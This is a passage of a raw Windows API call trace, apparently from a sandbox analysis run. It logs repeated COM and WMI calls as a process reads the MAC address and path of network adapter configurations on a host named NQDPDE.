Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe04c | out: ppvObject=0x12fe04c*=0x0) returned 0x80004002 [0206.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4800, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdffc | out: ppvObject=0x12fdffc*=0x0) returned 0x80004002 [0206.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4800, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe008 | out: ppvObject=0x12fe008*=0x13ebc30) returned 0x0 [0206.769] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13ebc30, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe010 | out: pCid=0x12fe010) returned 0x0 [0206.769] WbemDefPath:IUnknown:Release (This=0x13ebc30) returned 0x3 [0206.769] CoGetContextToken (in: pToken=0x12fe068 | out: pToken=0x12fe068) returned 0x0 [0206.769] CoGetContextToken (in: pToken=0x12fe470 | out: pToken=0x12fe470) returned 0x0 [0206.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4800, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe4fc | out: ppvObject=0x12fe4fc*=0x0) returned 0x80004002 [0206.769] WbemDefPath:IUnknown:Release (This=0x13a4800) returned 0x2 [0206.769] WbemDefPath:IUnknown:Release (This=0x13a4800) returned 0x1 [0206.769] CoGetContextToken (in: pToken=0x12fee10 | out: pToken=0x12fee10) returned 0x0 [0206.769] CoGetContextToken (in: pToken=0x12fed70 | out: pToken=0x12fed70) returned 0x0 [0206.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4800, riid=0x12fee40*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee3c | out: ppvObject=0x12fee3c*=0x13a4800) returned 0x0 [0206.769] WbemDefPath:IUnknown:AddRef (This=0x13a4800) returned 0x3 [0206.769] WbemDefPath:IUnknown:Release (This=0x13a4800) returned 0x2 [0206.769] WbemDefPath:IWbemPath:SetText (This=0x13a4800, uMode=0x4, pszPath="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=1") returned 0x0 [0206.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fefc0 | out: puCount=0x12fefc0*=0x2) returned 0x0 [0206.770] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefbc*=0x0, pszText=0x0 | out: puBuffLength=0x12fefbc*=0xf, pszText=0x0) returned 0x0 [0206.770] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefbc*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefbc*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fef8c | out: puCount=0x12fef8c*=0x2) returned 0x0 [0206.770] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fef88*=0x0, pszText=0x0 | out: puBuffLength=0x12fef88*=0xf, pszText=0x0) returned 0x0 [0206.770] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fef88*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef88*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.770] IWbemClassObject:Get (in: This=0x13fe018, wszName="MACAddress", lFlags=0, pVal=0x12fef88*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3270e9c*=0, plFlavor=0x3270ea0*=0 | out: pVal=0x12fef88*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3270e9c*=8, plFlavor=0x3270ea0*=32) returned 0x0 [0206.770] IWbemClassObject:Get (in: This=0x13fe018, wszName="MACAddress", lFlags=0, pVal=0x12fef90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3270e9c*=8, plFlavor=0x3270ea0*=32 | out: pVal=0x12fef90*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3270e9c*=8, plFlavor=0x3270ea0*=32) returned 0x0 [0206.770] CoTaskMemAlloc (cb=0x4) returned 0x13825f8 [0206.770] IEnumWbemClassObject:Next (in: This=0x13ac2d0, lTimeout=-1, uCount=0x1, apObjects=0x13825f8, puReturned=0x326fe70 | out: apObjects=0x13825f8*=0x6012d08, puReturned=0x326fe70*=0x1) returned 0x0 [0206.771] IUnknown:QueryInterface (in: This=0x6012d08, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5f0 | out: ppvObject=0x12fe5f0*=0x6012d08) returned 0x0 [0206.771] IUnknown:QueryInterface (in: This=0x6012d08, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe5ac | out: ppvObject=0x12fe5ac*=0x0) returned 0x80004002 [0206.771] IUnknown:QueryInterface (in: This=0x6012d08, riid=0x737e03bc*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fe3cc | out: ppvObject=0x12fe3cc*=0x0) returned 0x80004002 [0206.771] IUnknown:QueryInterface (in: This=0x6012d08, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe1a4 | out: ppvObject=0x12fe1a4*=0x0) returned 0x80004002 [0206.771] IUnknown:AddRef (This=0x6012d08) returned 0x3 [0206.771] IUnknown:QueryInterface (in: This=0x6012d08, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fdf04 | out: ppvObject=0x12fdf04*=0x0) returned 0x80004002 [0206.771] IUnknown:QueryInterface (in: This=0x6012d08, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdeb4 | out: ppvObject=0x12fdeb4*=0x0) returned 0x80004002 [0206.771] IUnknown:QueryInterface (in: This=0x6012d08, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fdec0 | out: ppvObject=0x12fdec0*=0x6012d0c) returned 0x0 [0206.771] IMarshal:GetUnmarshalClass (in: This=0x6012d0c, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fdec8 | out: pCid=0x12fdec8) returned 0x0 [0206.771] IUnknown:Release (This=0x6012d0c) returned 0x3 [0206.771] CoGetContextToken (in: pToken=0x12fdf20 | out: pToken=0x12fdf20) returned 0x0 [0206.771] CoGetContextToken (in: pToken=0x12fe328 | out: pToken=0x12fe328) returned 0x0 [0206.771] IUnknown:QueryInterface (in: This=0x6012d08, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe3b4 | out: ppvObject=0x12fe3b4*=0x0) returned 0x80004002 [0206.771] IUnknown:Release (This=0x6012d08) returned 0x2 [0206.771] CoGetContextToken (in: pToken=0x12fe900 | out: pToken=0x12fe900) returned 0x0 [0206.772] CoGetContextToken (in: pToken=0x12fe860 | out: pToken=0x12fe860) returned 0x0 [0206.772] IUnknown:QueryInterface (in: This=0x6012d08, riid=0x12fe930*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fe92c | out: ppvObject=0x12fe92c*=0x6012d08) returned 0x0 [0206.772] IUnknown:AddRef (This=0x6012d08) returned 0x4 [0206.772] IUnknown:Release (This=0x6012d08) returned 0x3 [0206.772] IUnknown:Release (This=0x6012d08) returned 0x2 [0206.772] CoTaskMemFree (pv=0x13825f8) [0206.772] CoGetContextToken (in: pToken=0x12fec70 | out: pToken=0x12fec70) returned 0x0 [0206.772] IUnknown:AddRef (This=0x6012d08) returned 0x3 [0206.772] IWbemClassObject:Get (in: This=0x6012d08, wszName="__GENUS", lFlags=0, pVal=0x12fef84*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff004*=0, plFlavor=0x12ff000*=0 | out: pVal=0x12fef84*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x12ff004*=3, plFlavor=0x12ff000*=64) returned 0x0 [0206.772] IWbemClassObject:Get (in: This=0x6012d08, wszName="__PATH", lFlags=0, pVal=0x12fef68*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12fefec*=0, plFlavor=0x12fefe8*=0 | out: pVal=0x12fef68*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=2", varVal2=0x0), pType=0x12fefec*=8, plFlavor=0x12fefe8*=64) returned 0x0 [0206.772] SysStringByteLen (bstr="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=2") returned 0x7a [0206.772] SysStringByteLen (bstr="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=2") returned 0x7a [0206.772] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef94 | out: ppv=0x12fef94*=0x135504c) returned 0x0 [0206.772] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef8c | out: pAptType=0x12fef8c*=1) returned 0x0 [0206.772] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef90 | out: ppvObject=0x12fef90*=0x0) returned 0x80004002 [0206.772] IUnknown:Release (This=0x135504c) returned 0x1 [0206.773] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe8f0 | out: ppv=0x12fe8f0*=0x13824b8) returned 0x0 [0206.773] WbemDefPath:IUnknown:QueryInterface (in: This=0x13824b8, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb0c | out: ppvObject=0x12feb0c*=0x0) returned 0x80004002 [0206.773] WbemDefPath:IClassFactory:CreateInstance (in: This=0x13824b8, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb18 | out: ppvObject=0x12feb18*=0x13a4870) returned 0x0 [0206.773] WbemDefPath:IUnknown:Release (This=0x13824b8) returned 0x0 [0206.773] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4870, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe73c | out: ppvObject=0x12fe73c*=0x13a4870) returned 0x0 [0206.773] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4870, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x0) returned 0x80004002 [0206.773] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4870, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe2ec | out: ppvObject=0x12fe2ec*=0x0) returned 0x80004002 [0206.773] WbemDefPath:IUnknown:AddRef (This=0x13a4870) returned 0x3 [0206.773] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4870, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe04c | out: ppvObject=0x12fe04c*=0x0) returned 0x80004002 [0206.773] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4870, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdffc | out: ppvObject=0x12fdffc*=0x0) returned 0x80004002 [0206.773] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4870, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe008 | out: ppvObject=0x12fe008*=0x13ebcf0) returned 0x0 [0206.773] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13ebcf0, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe010 | out: pCid=0x12fe010) returned 0x0 [0206.773] WbemDefPath:IUnknown:Release (This=0x13ebcf0) returned 0x3 [0206.773] CoGetContextToken (in: pToken=0x12fe068 | out: pToken=0x12fe068) returned 0x0 [0206.774] CoGetContextToken (in: pToken=0x12fe470 | out: pToken=0x12fe470) returned 0x0 [0206.774] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4870, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe4fc | out: ppvObject=0x12fe4fc*=0x0) returned 0x80004002 [0206.774] WbemDefPath:IUnknown:Release (This=0x13a4870) returned 0x2 [0206.774] WbemDefPath:IUnknown:Release (This=0x13a4870) returned 0x1 [0206.774] CoGetContextToken (in: pToken=0x12fee10 | out: pToken=0x12fee10) returned 0x0 [0206.774] CoGetContextToken (in: pToken=0x12fed70 | out: pToken=0x12fed70) returned 0x0 [0206.774] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4870, riid=0x12fee40*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee3c | out: ppvObject=0x12fee3c*=0x13a4870) returned 0x0 [0206.774] WbemDefPath:IUnknown:AddRef (This=0x13a4870) returned 0x3 [0206.774] WbemDefPath:IUnknown:Release (This=0x13a4870) returned 0x2 [0206.774] WbemDefPath:IWbemPath:SetText (This=0x13a4870, uMode=0x4, pszPath="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=2") returned 0x0 [0206.774] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fefc0 | out: puCount=0x12fefc0*=0x2) returned 0x0 [0206.774] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefbc*=0x0, pszText=0x0 | out: puBuffLength=0x12fefbc*=0xf, pszText=0x0) returned 0x0 [0206.774] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefbc*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefbc*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.774] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fef8c | out: puCount=0x12fef8c*=0x2) returned 0x0 [0206.774] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fef88*=0x0, pszText=0x0 | out: puBuffLength=0x12fef88*=0xf, pszText=0x0) returned 0x0 [0206.774] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fef88*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef88*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.774] IWbemClassObject:Get (in: This=0x6012d08, wszName="MACAddress", lFlags=0, pVal=0x12fef88*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x32716a8*=0, plFlavor=0x32716ac*=0 | out: pVal=0x12fef88*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x32716a8*=8, plFlavor=0x32716ac*=32) returned 0x0 [0206.774] IWbemClassObject:Get (in: This=0x6012d08, wszName="MACAddress", lFlags=0, pVal=0x12fef90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x32716a8*=8, plFlavor=0x32716ac*=32 | out: pVal=0x12fef90*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x32716a8*=8, plFlavor=0x32716ac*=32) returned 0x0 [0206.774] CoTaskMemAlloc (cb=0x4) returned 0x1382518 [0206.774] IEnumWbemClassObject:Next (in: This=0x13ac2d0, lTimeout=-1, uCount=0x1, apObjects=0x1382518, puReturned=0x326fe70 | out: apObjects=0x1382518*=0x6012ea0, puReturned=0x326fe70*=0x1) returned 0x0 [0206.775] IUnknown:QueryInterface (in: This=0x6012ea0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5f0 | out: ppvObject=0x12fe5f0*=0x6012ea0) returned 0x0 [0206.775] IUnknown:QueryInterface (in: This=0x6012ea0, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe5ac | out: ppvObject=0x12fe5ac*=0x0) returned 0x80004002 [0206.775] IUnknown:QueryInterface (in: This=0x6012ea0, riid=0x737e03bc*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fe3cc | out: ppvObject=0x12fe3cc*=0x0) returned 0x80004002 [0206.775] IUnknown:QueryInterface (in: This=0x6012ea0, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe1a4 | out: ppvObject=0x12fe1a4*=0x0) returned 0x80004002 [0206.776] IUnknown:AddRef (This=0x6012ea0) returned 0x3 [0206.776] IUnknown:QueryInterface (in: This=0x6012ea0, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fdf04 | out: ppvObject=0x12fdf04*=0x0) returned 0x80004002 [0206.776] IUnknown:QueryInterface (in: This=0x6012ea0, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdeb4 | out: ppvObject=0x12fdeb4*=0x0) returned 0x80004002 [0206.776] IUnknown:QueryInterface (in: This=0x6012ea0, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fdec0 | out: ppvObject=0x12fdec0*=0x6012ea4) returned 0x0 [0206.776] IMarshal:GetUnmarshalClass (in: This=0x6012ea4, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fdec8 | out: pCid=0x12fdec8) returned 0x0 [0206.776] IUnknown:Release (This=0x6012ea4) returned 0x3 [0206.776] CoGetContextToken (in: pToken=0x12fdf20 | out: pToken=0x12fdf20) returned 0x0 [0206.776] CoGetContextToken (in: pToken=0x12fe328 | out: pToken=0x12fe328) returned 0x0 [0206.776] IUnknown:QueryInterface (in: This=0x6012ea0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe3b4 | out: ppvObject=0x12fe3b4*=0x0) returned 0x80004002 [0206.776] IUnknown:Release (This=0x6012ea0) returned 0x2 [0206.776] CoGetContextToken (in: pToken=0x12fe900 | out: pToken=0x12fe900) returned 0x0 [0206.776] CoGetContextToken (in: pToken=0x12fe860 | out: pToken=0x12fe860) returned 0x0 [0206.776] IUnknown:QueryInterface (in: This=0x6012ea0, riid=0x12fe930*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fe92c | out: ppvObject=0x12fe92c*=0x6012ea0) returned 0x0 [0206.776] IUnknown:AddRef (This=0x6012ea0) returned 0x4 [0206.776] IUnknown:Release (This=0x6012ea0) returned 0x3 [0206.776] IUnknown:Release (This=0x6012ea0) returned 0x2 [0206.776] CoTaskMemFree (pv=0x1382518) [0206.776] CoGetContextToken (in: pToken=0x12fec70 | out: pToken=0x12fec70) returned 0x0 [0206.776] IUnknown:AddRef (This=0x6012ea0) returned 0x3 [0206.776] IWbemClassObject:Get (in: This=0x6012ea0, wszName="__GENUS", lFlags=0, pVal=0x12fef84*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff004*=0, plFlavor=0x12ff000*=0 | out: pVal=0x12fef84*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x12ff004*=3, plFlavor=0x12ff000*=64) returned 0x0 [0206.777] IWbemClassObject:Get (in: This=0x6012ea0, wszName="__PATH", lFlags=0, pVal=0x12fef68*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12fefec*=0, plFlavor=0x12fefe8*=0 | out: pVal=0x12fef68*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=3", varVal2=0x0), pType=0x12fefec*=8, plFlavor=0x12fefe8*=64) returned 0x0 [0206.777] SysStringByteLen (bstr="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=3") returned 0x7a [0206.777] SysStringByteLen (bstr="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=3") returned 0x7a [0206.777] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef94 | out: ppv=0x12fef94*=0x135504c) returned 0x0 [0206.777] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef8c | out: pAptType=0x12fef8c*=1) returned 0x0 [0206.777] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef90 | out: ppvObject=0x12fef90*=0x0) returned 0x80004002 [0206.777] IUnknown:Release (This=0x135504c) returned 0x1 [0206.777] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe8f0 | out: ppv=0x12fe8f0*=0x1382588) returned 0x0 [0206.778] WbemDefPath:IUnknown:QueryInterface (in: This=0x1382588, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb0c | out: ppvObject=0x12feb0c*=0x0) returned 0x80004002 [0206.778] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1382588, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb18 | out: ppvObject=0x12feb18*=0x13a48e0) returned 0x0 [0206.778] WbemDefPath:IUnknown:Release (This=0x1382588) returned 0x0 [0206.778] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a48e0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe73c | out: ppvObject=0x12fe73c*=0x13a48e0) returned 0x0 [0206.778] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a48e0, riid=0x737e0328*(Data1=0xc3fcc19e, 